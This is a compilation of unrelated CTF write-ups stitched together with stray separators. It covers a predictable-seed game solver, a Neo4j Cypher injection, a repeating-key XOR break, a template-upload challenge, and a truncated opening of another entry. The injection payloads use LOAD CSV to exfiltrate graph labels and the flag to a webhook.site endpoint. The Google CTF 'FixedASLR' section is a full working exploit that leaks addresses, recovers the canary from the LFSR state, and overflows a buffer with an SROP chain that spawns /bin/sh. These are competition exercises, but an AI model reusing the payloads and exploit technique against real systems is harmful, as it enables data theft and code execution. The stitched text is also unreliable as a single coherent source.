WELCOME_TEXT = """You are a mentalist and now it's your show!It's your chance to make the impossible possible!Currently there are {} people in the show.Your goal is to have {} people in it!
You can do it!Magic is real!!"""
SESSION_TEXT = """There are {} people in the showYou pick a volunteer
You ask her to think on a card"""
THINK_OF_A_SUIT_TEXT = """You ask her to think on the suit of the cardYou read her mind and choose: 1) Spades 2) Hearts 3) Clubs 4) Diamond"""
THINK_OF_A_VALUE_TEXT = """You ask her to think on the value of the cardValue between 1 and 13 when: 1 is Ace 2-10 are 2-10 :) 11 is Jack 12 is Queen 13 is KingYou read her mind and choose:"""
RIGHT_GUESS_TEXT = """Bravo! You did the impossible!The applause you get attracts {} more people to the show!"""
WRONG_GUESS_TEXT = """Wrong answer :|You probably read someone else's mind by mistake...
Someone left the show :("""
WIN_TEXT = "You Won! Here is your flag:"
LOSE_TEXT = """No one left in the show :(Maybe you should practice more before..."""
def red(text): return "\033[91m" + text + "\033[0m"
def green(text): return "\033[92m" + text + "\033[0m"
def purple(text): return "\033[95m" + text + "\033[0m"
# return a number between 1 and the given rangedef rand_range(rng): return rng - random.randrange(rng)
def get_int(rng): while True: num_str = input(">> ") if not num_str.isdigit(): print("Not a number, try again :/") continue num = int(num_str) if num <= 0 or num > rng: print(f"Not in range, choose between 1 and {rng}") continue break return num
def run_game(): random.seed(int(hashlib.md5(b"magic_is_real").hexdigest(), 16))
people = START_NUM_OF_PEOPLE
print(WELCOME_TEXT.format(people, PERFECT_SHOW))
for i in range(MAX_NUM_GAMES): if people <= 0: print(red(LOSE_TEXT)) break if people >= PERFECT_SHOW: print(green(WIN_TEXT)) print(flag.FLAG) break
print(SESSION_TEXT.format(purple(str(people))))
print(THINK_OF_A_SUIT_TEXT) rand_suit = rand_range(NUM_OF_SUITS) suit = get_int(NUM_OF_SUITS)
print(THINK_OF_A_VALUE_TEXT) rand_value = rand_range(NUM_OF_VALUES) value = get_int(NUM_OF_VALUES)
if suit == rand_suit and value == rand_value: print(green(RIGHT_GUESS_TEXT.format(RIGHT_GUESS))) people += RIGHT_GUESS else: print(red(WRONG_GUESS_TEXT)) people -= WRONG_GUESS else: print("Sorry... the crowd is bored")
if __name__ == "__main__": run_game()```
We can see the ```run_game``` function following ```random.seed(int(hashlib.md5(b"magic_is_real").hexdigest(), 16))```.
Isn't random because we know the seed ```int(hashlib.md5(b"magic_is_real").hexdigest(), 16)``` meaning that the numbers always be the same.
We can solve it using the following code with [pwntools](https://docs.pwntools.com/en/stable/):```pythonfrom pwn import *import randomimport hashlib
NUM_OF_SUITS = 4NUM_OF_VALUES = 13
# return a number between 1 and the given rangedef rand_range(rng): return rng - random.randrange(rng)
p = remote('medium-expectations.ctf.bsidestlv.com', 8642)random.seed(int(hashlib.md5(b"magic_is_real").hexdigest(), 16))
while True: rand_suit = rand_range(NUM_OF_SUITS) rand_value = rand_range(NUM_OF_VALUES) #print(p.recvuntil('>')) print(p.recvline()) p.sendline(str(rand_suit)) p.sendline(str(rand_value))```
We create the same random.
Run it:```consoleââ[evyatar@parrot]â[/ctf/2022_bsidestlv/crpto/medium_expectations]âââ⌠$ python3 solve.py[+] Opening connection to medium-expectations.ctf.bsidestlv.com on port 8642: Doneb'\n'b"You are a mentalist and now it's your show!\n"b"It's your chance to make the impossible possible!\n"b'Currently there are 60 people in the show.\n'b'Your goal is to have 2000 people in it!\n'b'\n'b'You can do it!\n'b'Magic is real!!\n'b'\n'b'\n'b'There are \x1b[95m60\x1b[0m people in the show\n'b'You pick a volunteer\n'b'\n'b'You ask her to think on a card\n'b'\n'b'\n'b'You ask her to think on the suit of the card\n'b'You read her mind and choose:\n'b' 1) Spades\n'b' 2) Hearts\n'b' 3) Clubs\n'b' 4) Diamond\n'b'\n'b'>> \n'b'You ask her to think on the value of the card\n'b'Value between 1 and 13 when:\n'b' 1 is Ace\n'b' 2-10 are 2-10 :)\n'b' 11 is Jack\n'b' 12 is Queen\n'b' 13 is King\n'b'You read her mind and choose:\n'b'\n'b'>> \x1b[92m\n'b'Bravo! You did the impossible!\n'b'The applause you get attracts 60 more people to the show!\n'b'\x1b[0m\n'b'\n'b'There are \x1b[95m120\x1b[0m people in the show\n'b'You pick a volunteer\n'b'\n'b'You ask her to think on a card\n'b'\n'b'\n'b'You ask her to think on the suit of the card\n'b'You read her mind and choose:\n'b' 1) Spades\n'b' 2) Hearts\n'b' 3) Clubs\n'b' 4) Diamond\n'b'\n'...b'\x1b[92mYou Won! Here is your flag:\x1b[0m\n'b'BSidesTLV2022{r3ad1ing_mind5_is_e4sy}\n'```
And we get the flag ```BSidesTLV2022{r3ad1ing_mind5_is_e4sy}```. |
One comma causes an error = injection. But its not SQL, but from the returened error it seems to be neo4j db.After some trial and error, came to conclusion that the query looks something like this:`MATCH (pokemon:Pokemon) WHERE p.name =~ '.*' + toLower({param}) + '.*' RETURN p`
sending this: `') RETURN pokemon//` works perfectly
Abuse LOAD CSV to leak some information:
`') CALL db.labels() YIELD name as label LOAD CSV FROM 'https://webhook.site/REDACTED/'+label AS y RETURN *//`
reveals that there are two types of nodes in the graph: pokemon and flag.now trying to read the properties of flag:`') MATCH (f:flag) WITH KEYS(f) as keys UNWIND keys as key LOAD CSV FROM 'https://webhook.site/REDACTED/'+key AS y RETURN *//`
reveals a property flag:
`') MATCH (f:flag) WITH f.flag as ff LOAD CSV FROM 'https://webhook.site/REDACTED/'+ff AS y RETURN *//` |
# Halftimepad ## problem overview
For the problem, we were given a [URL](https://halftimepad.roboepics.com) (which doesn't work now). and upon visiting the given URL every time you were served a random 372 characters long base64 encoded string. like the one below:
```FsRyye6r+qsximg9d3NtqkjZXZvh6rXXrHSXjNejOYYLhdgxF6260opAp8E3lxYdzDqLd87uur+rMc8uPXt3Z6dV1yOH4PDq16xzl4CSsTaYW5ydcAvu69qAGfOQPYxdGYI33zCiraDxrTHLejwwHGurSZJ3hvqjs4XlYduMkPB4kx6b0nIT+vXf1A6n3zqQUyOTKsJzzb6u+5Ury2h+ZzhrqxqEP47k86mYmirowKitUsVVx9x/A7zi3pAT84Y9mhYIzX7Icca6pvG/Jop6J3dlI7pejyPP6KOqnrFz24jXsjGfW4TSYwKyhNSPQLrSO4tfEsl+wmrb7qrxpTbNZm4USSmJVJgzz8X2pZzvWL2zqI8HtQ==```And also a link to the leaked server-side code that is responsible for the gibberish we are given.
Server-side code is :```gopackage main
import ( "crypto/rand" "encoding/base64")
var ( plain []byte)
func HalfTimePath() []byte { l := randInt(20, 100) key := make([]byte, l) _, err := rand.Read(key) if err != nil { panic(err) }
cycle := make([]byte, len(plain)) for i := range cycle { cycle[i] = key[i%l] }
cipher := make([]byte, len(plain)) for i := range cipher { cipher[i] = cycle[i] ^ plain[i] }
b64 := base64.StdEncoding.EncodeToString(cipher) return []byte(b64)}
func randInt(a, b int) int { buf := make([]byte, 1) _, err := rand.Read(buf) if err != nil { panic(err) } return int(buf[0])%(b-a+1) + a}```We also know that the plain text includes the string `xeroctf{` note: I'm also providing 2500 of the server responses for anybody who is interested to solve the problem for themselves. [responses.json](https://drive.google.com/file/d/1YfAeIADFnYTfzdfw1N9HWXBhwYR9QhTe/view?usp=sharing)
## Solution### Conceptsfor the starter, let's understand what the server code does.
1. It takes a plain text named plain2. Creates a random key with a random length between 20 to 100 bytes3. Cycles through plain and key XOR ing them (repeating the key when needed) to create cipher4. Returns the byte array cipher
By decoding one of the responses we can see that it is a 277 length long byte array. so in another word, we can rewrite the plain and an example key length 20 as:
plain = P1 P2 P3 ... P277 key20 = K1 K2 .... K20 and what we have right now is:
cipher = C1 C2 C3 ... C277 which is : C1 = P1 â K1 C2 = P2 â K2 ... C21 = P21 â K1 and so on. The big idea to realize is if we know a given cipher is XORed by a key with a length of 20, we can also reach the following conclusion: C1 â C21 = (P1 â K1) â (P21 â K1) = (P1 â P21) â(K1 â K1) = P1 â P21 The important thing about `C1 â C21 = P1 â P21` is the fact that it is independent of the key, so it is a constant throughout all the ciphers with a key length of 20 This property is useful for two things: 1. To find the key length of a given cipher.2. Getting rid of the randomness in cipher by removing keys.
The first part is quite trivial, if we have a large number of ciphers we can just loop through them and find a pair that produces the same xor value in a specific interval, then We know the key length for both of the cipher are that interval. The second part is a little bit harder. It consists of the following steps.1. Find two ciphers with adjacent key lengths, like lengths L and L+12. Create D = D1 D2 ... D276 such that Di = Ci â Ci+1 using two above-mentioned ciphers3. Calculate for every pair of adjacent characters in "xeroctf{" their xor and name it X.4. Search for X in D5. After finding where the 'x' of "xeroctf" in the entirety of plain text (or P for short) is, fill in the rest of the characters by the formula shown bellow
```Ci = Di â Ci+1orCi = Di-1 â Ci-1```
It is also quite easy to create D from the previous conclusion, `C1 â C(L+1) =P1 â P(L+1)` for a key with a length of L by using ciphers with a key length of L, we can have `P2 â P(L+2)`, and with length, L+1 we have `P1 â P(L+2)` taking the XOR of these two we are left with `P1 â P2`, we can repeat the process for the rest of the cipher and achieve sequence D
### ImplementationFirst, let's make a whole lot of requests to the server and save the responses in python pickle format to use later p.s : The only reason I'm using pickle is the convince of not having to convert a list into a string and then do it in reverse
**get_responses.py**```from concurrent.futures import ThreadPoolExecutorimport requestsimport pickle
def get_resoponse(): r=requests.get("https://halftimepad.roboepics.com") return r.text
with ThreadPoolExecutor() as executer: responses=[executer.submit(get_resoponse) for _ in range(1000)]
with open("responses.p","rb") as f: old_responses=pickle.load(f)
responses=[r.result() for r in responses]responses=old_responses+responseswith open("responses.p","wb") as f: pickle.dump(responses,f)```The only third-party library used is requests, which is an easier way of making HTTP requests using python, also I'm using concurrent.futures to make requests concurrently, to make it take less time.
In the second step, we loop through all the ciphers to find their key length. for some strange reason there were no ciphers with lengths 20 to 33, and only keys with lengths 51 and up existed consecutively in the responses I captured, so, in the end, I just kept the ones with length 51 and above, although only saving ciphers with length 51 and 52 would have sufficed, considering that we are only going to use those.
**distance.py**```import base64import pickle
with open("responses.p","rb") as f: responses=pickle.load(f)
all_distances={i:[] for i in range(20,101)}
all_ciphers=[]for response in responses: cipher=base64.standard_b64decode(response) all_ciphers.append(cipher)
print(len(all_ciphers))
# finding the key length for all ciphers #for i in range(len(all_ciphers)): found=False for j in range(len(all_ciphers)): if i!=j: cipher1=all_ciphers[i] cipher2=all_ciphers[j] for k in range(20,101): found2=True for l in range(len(cipher1)-k): found2=found2 and ((cipher1[l]^cipher1[l+k]) == (cipher2[l]^cipher2[l+k])) if not found2:break if found2: all_distances[k].append(cipher1) found=True break if found:break##########################################
single_distances={i:all_distances[i][0] for i in range(51,101)}for k in all_distances.items(): print("key length",k[0],f"has {len(k[1])} entry",)
with open("distance.p","wb") as f: pickle.dump(single_distances,f)```
The only thing remaining is to find the plain text. **plain.py**```import pickle
with open("distance.p","rb") as f: distance:dict=pickle.load(f)
cipher51=distance[51]cipher52=distance[52]
search="xeroctf"pattern=[]
# making the xor fo 'xeroctf' to search in for i in range(len(search)-1): pattern.append(ord(search[i]) ^ ord(search[i+1]))
# it is the same sequence as D in the concepts part massage_transition_xor=[None]*276
# calculating D52 to D276for i in range(225): a=cipher51[i]^cipher51[i+51] b=cipher52[i]^cipher52[i+52] c=a^b massage_transition_xor[i+51]=c
# calculating D1 to D51for i in range(51): a=cipher52[i]^cipher52[i+52] b=cipher51[i+1]^cipher51[i+52] c=a^b massage_transition_xor[i]=c
# searching 'xeroctf' trough Dfor ind,val in enumerate(massage_transition_xor[:-6]): if massage_transition_xor[ind:ind+6]==pattern: index=ind break
# massage is going to end up being the plain text.massage=[None]*277massage[index]="x"
##### finding Plain text #####for i in range(index,276): massage[i+1]=chr(ord(massage[i])^massage_transition_xor[i])
for i in range(index,0,-1): massage[i-1]=chr(ord(massage[i])^massage_transition_xor[i-1])##############################
print("".join(massage))```And in the end, we are treated with the following answer: > Hola dear friends. > this is a sample p14in t3xt and if u are readin this, it means u already broke it.> congrats. > here is ur flag xeroctf{d0nt-use_1timepad_haf1y.he!shampoo_-\_-\_} > ...and lets try to continue this text a little bit more. > ok i think its enough! > _*Good Luck*_ > ^___^ |
# Billboard Mayhemeasy | web | 100 points
## DescriptionThe AI is showing off its neural network all over the city by taking over the billboards. Can you take back control and discover what the AI left behind?
## First Impressions
The website displays a billboard containing an image.

## Solution
### [10 points] Find the upload formThe AI has hidden our upload form. Can you find the upload form?
In an attempt to check the source code, I hovered the mouse over the billboard, and saw the flag!

Flag: `CTF{e8a63b628756eb0023899b3a7f60825c}`
### [90 points] Billboard ControlOur development team has picked up that the AI has included their own secret code to our environment variables. Can you upload a new advertisement that displays these values? (Always remember to be smarty with your payload!)
The other side of the billboard contains a link to upload an advertisement. What we upload will then be displayed in place of the image. The advertisement has to be in TPL format, which is a format I hadn't heard of before. After a quick search, I found out that its a PHP template file, in which one can place variables that can be parsed different depending on the content of the variable[^1]. This website also had a sample TPL file, so I used the same and tweaked it a bit for this challenge.
**[advertisement.tpl](src/bm-2-advertisement.tpl)**```tpl<html> <head> <title>Info</title> </head> <body> {$flag} </body></html>```
On uploading the file, the billboard now displayed the flag for the challenge!

Flag: `CTF{c72edca19622b230bdfb4bfae250dbc8}`
[^1]: From https://www.geeksforgeeks.org/what-is-tpl-file-in-php-web-design/ |
## **FixedASLR**
was a pwn challenge from Google CTF 2022 edition.
I played it with **Water Paddler**, as a pwner.
A very interesting and well made challenge.
we were provided with a binary named `loader`, and 7 object files, named:
`basic.o debug.o game.o guard.o main.o res.o syscalls.o`
So, For the glory of the almighty PWN Spirit in the sky, I will try to make a more detailed write-up than usual.
so let's start at the beginning (as a *beginning* is a very delicate time)
------
1. ### Loader binary inner working.
**so let's start analyzing the `loader` binary working:**

As we can see in the pic above, it is a non-PIE executable (so mapped at address 0x400000), with no more protections except stack non executable.
**let's have a look at the loader entry function `start()`:**

First the function `sys_getrandom()`, use `getrandom` syscall, to itinialize the `rand_state` var with 8 bytes of random data coming from `/dev/urandom` kernel device.
**let's see the next function , `init_stack_guard()`:**

Ok, we can see that `init_stack_guard()` function mmap a page RW, and with `prctl(ARCH_SET_FS, mem)` set the 64-bit base for the `FS` register to this zone. The memory zone pointed by `FS` register is generally the **Thread Local Storage** zone, that contains variables related to the binary, and particularly the stack canary, used for stack protection.
if you don't know what is the **Thread Local Storage**, you can read this: [https://chao-tic.github.io/blog/2018/12/25/tls](https://chao-tic.github.io/blog/2018/12/25/tls)
Then the function read 64bits of pseudo randomness from `rand()` function, and write that 64bit value to the canary in our **TLS** zone.
We will come back to the creation of the canary later on.. for now let's see the next functions in `start()`
we can see that a `files[]` table is parsed, and it's content passed in these three functions successively:
+ `load_o_phase_1()`
+ `load_o_phase_2()`+ `load_o_phase_final()`
the `files[]` table contains pointers for the object file names:

I will not go in full details in the inner working of these 3 functions, but I will resume their working like this.
for each `table[]` entry, the file is loaded, the `aslr_get_addr()` generate a random mapped address zone, where the file is relocated and mapped.
let's have a quick look at `aslr_get_addr()`

We can see that the `aslr_get_addr()` get 12bits of randomness from `rand()` function, shifted that value 28bits left to calculate the mapping address of the file.
ok, that was a quick resume of the mapping process.
After that , the `start()` function clear various memory zones, and jump to the `pivot_to_main()` function.
the `pivot_to_main()` function map a RX zone , and copy a small shellcode in it:

this small shellcode, unmap the 0x400000 zone where loader binary is mapped,
and jump to the `main.o` entry mapped in memory, then will call `exit` syscall on return.
Ok now, the loading of the object files is finished, the binary loader was unmapped from memory, the canary was created,
lets start gdb, and see what the memory mapping will look at this point. (the address will change each time off course):

Ok we can see the 7 first `r-x` mappings for each files in `files[]` table, each with eventually its `rw` zone for data.
(In the picture above they are not in the same order that they came in `file[]` table, but sorted from smaller to bigger addresses..)
we can see the high address `0x7f62d61132000` where the loader `pivot_to_main()` shellcode was copied.
then zone after (`0x7f62d6133000`) is the `fs` register pointed zone, that contains the generated canary.
then comes `stack`, `vvar`, `vdso`, `vsyscall`, standard mappings...
That's an example of the state at the end of the `loader` binary process, addresses will vary off course every time...
------
2. ### What happens in the object files (and eventually in the Darkness) ???
Now that we have finish studying the loading process, let's see what does these object files do..
For easier reversing/decompiling, we will link them to a binary with gcc, with command:
`gcc *.o -o chall`
This will produce a `chall` binary, that we can reverse and execute, but the memory mapping will be different off course of object files load via `loader` binary.
so let's start with the `main()` entry function:

not much happens here, just banner showing, loop to `menu()` function until it returns 0, then show winner's name, and return.
so let's see this `menu()` function:

Ok it prints the game main menu, then jump to various functions according user's choice.
so let's have a look to these functions, some of them have vulnerabilities that we will exploit.
first let's study `see_scoreboard()` function:

This function has a vulnerability, an out of bounds read.
The index you enter as an ascii number, is not verified for any bound, so you can leak with this read any 64 bit value that you can reach at address `game_scoreboard + index`
`game_scoreboard` is a table that record score obtained during the game , there is 10 entries normally.
We will use this vulnerability to leak different mapping addresses of the different object files.
let's have a look at the `game()` function:

Well the game is more a pretext, it just generates two random numbers, and you have to enter their sum,
if you failed (shame on you!), it will call the `check_scoreboard()` function and returns, if you succeed, it increases score and continues...
so let's have a look at the `check_scoreboard()` function:

This function store your score in the scoreboard and make room for it in it.
Then it will ask for the player's name to store it in the scoreboard,
so let's have a look at `get_player_name()` function:

We can see that it ask first for the `name` size, and if the size entered is bigger than the `name` buffer on stack,
it prints a warning message, but does not returns or exit..
So basically, in the next read, we have a classic **buffer overflow**.
This is the vulnerability we will use to have code execution.
BUT, to have code execution, we have an obstacle to overcome , the canary...
------
3. ### Where are we in memory ? First let's get our leaks
So first we studied what addresses we can reach with the OOB read vulnerability that we found in the `see_scoreboard()` function.
we found, that we can found addresses of almost all ASLR random mappings, except the one with all the helpers gadgets (no luck), which is also the last one mapped.
We can not reach any stack addresses too, and that is more annoying to find the canary value.
As canary is only present on stack, and in the memory zone pointed by `fs` register.
to leak the various mapping addresses we use this python code:
```python# leak memory zone mappings (and so 72 bits of LFSR output)leak1 = see_score(0x200) - 0x2060print("LEAK1: " + hex(leak1))leak2 = see_score(-1017) - 0x1000print("LEAK2: " + hex(leak2))leak3 = see_score(-1019) - 0x1000print("LEAK3: " + hex(leak3))leak4 = see_score((leak3 - leak1 - 0x2000 + 8)>>3) - 0x119cprint("LEAK4: " + hex(leak4))leak5 = see_score((leak3 - leak1 - 0x2000 + 0x2000)>>3) - 0x1000print("LEAK5: " + hex(leak5))leak6 = see_score((leak4 - leak1 - 0x2000 + 0x38)>>3) - 0x10baprint("LEAK6: " + hex(leak6))```
so we know now were we are in memory, but we found no way to leak the canary,
and we absolutely need the canary value
So after passing some time reading, and reading, and re-reading the program code.. I arrived to the conclusion that we can not leak the canary..
So I start to study the random generator that the `loader` binary use to generate it...
------
4. ### **A Study in Randomness..**
Well randomness.. at a higher level, some see order in it..
let's go back to the `loader` binary, and let's see how the random bits are generated..
first the `rand()` function:

then the `rand_get_bits()` function:

What we have here? it is a 64bit **LFSR**.
A program that generate pseudo random numbers, from an initial state `rand_state`
so, two question come to my mind:
+ is this little bit spitting thing secure ?
+ is it possible to recover initial state from a known output ?
I asked a friend (*macz*) that is good in crypto, these two crucial questions..
And he answers me in substance, yes it's possible to recover the initial state of this kind of **LFSR** with at least 64bits of know output.. and, wait a minute, I must have a SAGE script to do that somewhere... that was good news..
But, do we have a known output of this **LFSR** ?
We don't have the first 64bits output (the canary) , we don't know the initial state in `rand_state`, that is read from `/dev/urandom` and hardly guessable probably,
But we have the 6 leaked memory mappings, each of this mappings use 12bits of the **LFSR** , so in total we have 72bits of the **LFSR** output, just after the first 64bits from the canary.
I fire gdb again to see the correspondance between our leaked mapping addresses and the **LFSR** output, and write some python code to extract the 64bits LFSR output next the canary, like this:
```python# reorder 12bits output from each ASLR to a 64bit valueleaks = (leak1>>28)leaks = (leaks<<12) | (leak6>>28)leaks = (leaks<<12) | (leak2>>28)leaks = (leaks<<12) | (leak4>>28)leaks = (leaks<<12) | (leak3>>28)leaks = (leaks<<4) | (leak5>>36)&0xf```
to try the original SAGE solve script (that you can find in my github),
I need to output the `loader` binary `getrandom()` output, and **LFSR** output , to verify that the calculation works..
for this I write a 10mn qiling script (best tool for reversing), that hook various functions used by the loader binary..
```pythonimport sysfrom struct import *
sys.path.append("..")from qiling import *from qiling.const import QL_VERBOSEfrom unicorn.unicorn_const import UC_MEM_WRITEfrom unicorn.unicorn_const import UC_MEM_READ
def myhook(ql: Qiling) -> None: print('asked for '+str(ql.arch.regs.rdi)+' bits of random')
def canary_gen(ql: Qiling) -> None: print('canary generated = '+hex(ql.arch.regs.rdi))
def myhook_ret(ql: Qiling) -> None: print('LFSR returned: '+hex(ql.arch.regs.rax))
def getrandom(ql: Qiling) -> None: buff = ql.unpack64(ql.mem.read(ql.arch.regs.rdi, 8)) print('syscall getrandom returned: '+hex(buff))
def my_sandbox(path, rootfs): ql = Qiling(path, rootfs, verbose=QL_VERBOSE.OFF) ql.hook_address(myhook, 0x40146c) ql.hook_address(myhook_ret, 0x4014ad) ql.hook_address(canary_gen, 0x401064) ql.hook_address(getrandom, 0x401296) ql.run()
if __name__ == "__main__": my_sandbox(["./examples/rootfs/x8664_linux/bin/loader"], "./examples/rootfs/x8664_linux")```
you just have to copy it in the rootfs, with the object files,
then when you run it, it output the LFSR and random values:

ok let's try the sage script with these example values:
```pythonimport sage
L = companion_matrix(GF(2)['x']("x^64 + x^5 + x^3 + x^2 + 1"), format="bottom")one = vector(GF(2),64,[0]*63 + [1])
F=GF(2,'z')
R.<k0,k1,k2,k3,k4,k5,k6,k7,k8,k9,k10,k11,k12,k13,k14,k15,k16,k17,k18,k19,k20,k21,k22,k23,k24,k25,k26,k27,k28,k29,k30,k31,k32,k33,k34,k35,k36,k37,k38,k39,k40,k41,k42,k43,k44,k45,k46,k47,k48,k49,k50,k51,k52,k53,k54,k55,k56,k57,k58,k59,k60,k61,k62,k63>=F['k0,k1,k2,k3,k4,k5,k6,k7,k8,k9,k10,k11,k12,k13,k14,k15,k16,k17,k18,k19,k20,k21,k22,k23,k24,k25,k26,k27,k28,k29,k30,k31,k32,k33,k34,k35,k36,k37,k38,k39,k40,k41,k42,k43,k44,k45,k46,k47,k48,k49,k50,k51,k52,k53,k54,k55,k56,k57,k58,k59,k60,k61,k62,k63,k64']key = vector (R, [k0,k1,k2,k3,k4,k5,k6,k7,k8,k9,k10,k11,k12,k13,k14,k15,k16,k17,k18,k19,k20,k21,k22,k23,k24,k25,k26,k27,k28,k29,k30,k31,k32,k33,k34,k35,k36,k37,k38,k39,k40,k41,k42,k43,k44,k45,k46,k47,k48,k49,k50,k51,k52,k53,k54,k55,k56,k57,k58,k59,k60,k61,k62,k63])
a = L*key + one
clocks = 64 + 64 - 1
for i in range(clocks): a = L*a + one
kmat = matrix(R, 64,64)for i in range(64): for j in range(64): kmat[i,j] = a[i].coefficient(key[j])
kvec = vector(R, 64)for i in range(64): kvec[i] = a[i].constant_coefficient()
target = 0x19d28388ffd157cepadlen = 64 -len( list(( ZZ(target).digits(base=2)[::-1] )))c = vector(GF(2), [0]*padlen + list(( ZZ(target).digits(base=2)[::-1] )))result = kmat.inverse() * (c-kvec)
print(hex(int(''.join(str(_) for _ in list(result )),2)))```
you can see that in the sage script, I put in var `target` the 64 bits output that I got from qiling above (5*12bits + 4bits from the last 12bits)
let's try with sage:
```bashsage test.temp.sage0xf58a663dbfabf188```
we can see that from these 64bits output from the **LFSR**, sage has been able to calculate the inital state of the **LFSR**,
`0xf58a663dbfabf188`
that is the same as the initial state in the qiling picture above, the one returned by getrandom()
CQFD,
then we code the LFSR in python , and we can calculate the canary now that we can retrieve the initital state..
------
5. ### Last but not least, the exploitation.
Well, now that we know how to calculate the canary from the leaked **LFSR** output.
**We have a plan:**
1. leak all the memory mappings that we can, using the OOB read vulnerability in `see_scoreboard()` function2. calculate the 64bits output by the **LFSR** from these mappings3. calculate the inital state `rand_state` of the **LFSR** with sage4. calculate the canary value with `rand_state`5. play the dumB game, and loose it6. forge a payload with the canary and some rop gadgets from known memory zone7. Use the buffer overflow in `get_player_name()` function to have code execution
I will pass quickly on the ROP we use, it's a classic SIGROP shellcode, as we had little gadgets available to set registers,
you can have a look to the final exploit for it..
So here is the final exploit, with the sage script integrated and converted to python:
```python#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *from sage.all import *
context.update(arch="amd64", os="linux")context.log_level = 'error'
exe = ELF('./loader')
host, port = "fixedaslr.2022.ctfcompetition.com", "1337"
if args.REMOTE: p = remote(host,port)else: p = process(exe.path)
def sa(s, d): p.sendafter(s, str(d).encode('utf-8'))def sla(s, d): p.sendafter(s, str(d).encode('utf-8')+b'\n') def see_score(place): sla(b'?\n', 3) if (place < 0): place = place + 0x10000000000000000 sla(b'?', place) p.recvuntil(b': ') leak = int(p.recvline().strip(), 10) return leak
# play a certain rounds of gamedef play_game(rounds): sla(b'?', 1) # choose play game for i in range(rounds): num1 = int(p.recvuntil(b' + ', drop=True).split(b'much is ')[1], 10) num2 = int(p.recvuntil(b' ', drop=True), 10) sla(b'?', num2 + num1) sla(b'?', 0) # send wrong answer
# LFSR 64bit implementationdef rand_get_bit(): global rand_state bit = (rand_state>>63)&1 v1 = ((rand_state>>61)&1) ^ bit v2 = ((rand_state>>60)&1) ^ v1 v3 = v2 ^ ((rand_state>>58)&1) ^ 1 rand_state = ((rand_state<<1) | v3) & ((1<<64)-1) return (v3 & 1)
# return numbits of pseudo randomnessdef rando(numbits): res = 0 for i in range(numbits): res = (res<<1) | rand_get_bit() return res
# leak memory zone mappings (and so 72 bits of LFSR output)leak1 = see_score(0x200) - 0x2060print("LEAK1: " + hex(leak1))leak2 = see_score(-1017) - 0x1000print("LEAK2: " + hex(leak2))leak3 = see_score(-1019) - 0x1000print("LEAK3: " + hex(leak3))leak4 = see_score((leak3 - leak1 - 0x2000 + 8)>>3) - 0x119cprint("LEAK4: " + hex(leak4))leak5 = see_score((leak3 - leak1 - 0x2000 + 0x2000)>>3) - 0x1000print("LEAK5: " + hex(leak5))leak6 = see_score((leak4 - leak1 - 0x2000 + 0x38)>>3) - 0x10baprint("LEAK6: " + hex(leak6))
# reorder 12bits output from each ASLR to a 64bit valueleaks = (leak1>>28)leaks = (leaks<<12) | (leak6>>28)leaks = (leaks<<12) | (leak2>>28)leaks = (leaks<<12) | (leak4>>28)leaks = (leaks<<12) | (leak3>>28)leaks = (leaks<<4) | (leak5>>36)&0xf
# know we will use SAGE to calculate the initial state of the LSFR from its leaked outputL = companion_matrix(GF(2)['x']("x^64 + x^5 + x^3 + x^2 + 1"), format="bottom")one = vector(GF(2),64,[0]*63 + [1])
F=GF(2 ,'z')
R = F['k0,k1,k2,k3,k4,k5,k6,k7,k8,k9,k10,k11,k12,k13,k14,k15,k16,k17,k18,k19,k20,k21,k22,k23,k24,k25,k26,k27,k28,k29,k30,k31,k32,k33,k34,k35,k36,k37,k38,k39,k40,k41,k42,k43,k44,k45,k46,k47,k48,k49,k50,k51,k52,k53,k54,k55,k56,k57,k58,k59,k60,k61,k62,k63,k64']; (k0, k1, k2, k3, k4, k5, k6, k7, k8, k9, k10, k11, k12, k13, k14, k15, k16, k17, k18, k19, k20, k21, k22, k23, k24, k25, k26, k27, k28, k29, k30, k31, k32, k33, k34, k35, k36, k37, k38, k39, k40, k41, k42, k43, k44, k45, k46, k47, k48, k49, k50, k51, k52, k53, k54, k55, k56, k57, k58, k59, k60, k61, k62, k63,) = R._first_ngens(64)key = vector (R, [k0,k1,k2,k3,k4,k5,k6,k7,k8,k9,k10,k11,k12,k13,k14,k15,k16,k17,k18,k19,k20,k21,k22,k23,k24,k25,k26,k27,k28,k29,k30,k31,k32,k33,k34,k35,k36,k37,k38,k39,k40,k41,k42,k43,k44,k45,k46,k47,k48,k49,k50,k51,k52,k53,k54,k55,k56,k57,k58,k59,k60,k61,k62,k63])
a = L*key + oneclocks = 64 + 64 - 1
for i in range(clocks): a = L*a + one
kmat = matrix(R, 64 ,64)for i in range(64): for j in range(64): kmat[i,j] = a[i].coefficient(key[j])
kvec = vector(R,64)for i in range(64): kvec[i] = a[i].constant_coefficient()
padlen = 64 -len( list(( ZZ(leaks).digits(base=2 )[::-1] )))c = vector(GF(2), [0]*padlen + list(( ZZ(leaks).digits(base=2)[::-1] )))result = kmat.inverse() * (c-kvec)
# print initial_state returned by sage scriptrand_state = int(''.join(str(_) for _ in list(result )),2)print('result = '+hex(rand_state))
# now calculate first 64bit output of lfsr, which is the canary valuecanary = rando(64)print('canary = '+hex(canary))
# Gadgets for the srop shellcodeatou64 = leak3 + 0x3e0syscall_ret = leak6 + 0x1002name_addr = leak1 + 0x2180 # name_addr + 0x8 points to "/bin/sh"# generate srop frameframe = SigreturnFrame()frame.rip = syscall_retframe.rax = 0x3bframe.rdi = name_addr + 8# our payloadrop = p64(atou64) + p64(syscall_ret) + bytes(frame)name = b'15AAA ; /bin/sh\x00' + b'A'*0x18 name += p64(canary) + b'B'*8 + rop
# play some rounds of gameplay_game(11)# send our payloadp.sendlineafter(b'?\n', b'1024')p.sendafter(b":", name)# enjoy shellp.sendline(b'id;cat flag')p.interactive()```
or see it in action??

*nobodyisnobody still pwning things...* (even in 2022) |
# BSides TLV CTF 2022 - [https://ctf22.bsidestlv.com/](https://ctf22.bsidestlv.com/)Web, 100 Points
## Description

Attached URL [https://not-found.ctf.bsidestlv.com/](https://not-found.ctf.bsidestlv.com/)
Attached file [dirlist.txt](./dirlist.txt)
## 404 Not Found Solution
By observing to the URL [https://not-found.ctf.bsidestlv.com/](https://not-found.ctf.bsidestlv.com/) we get the following content:

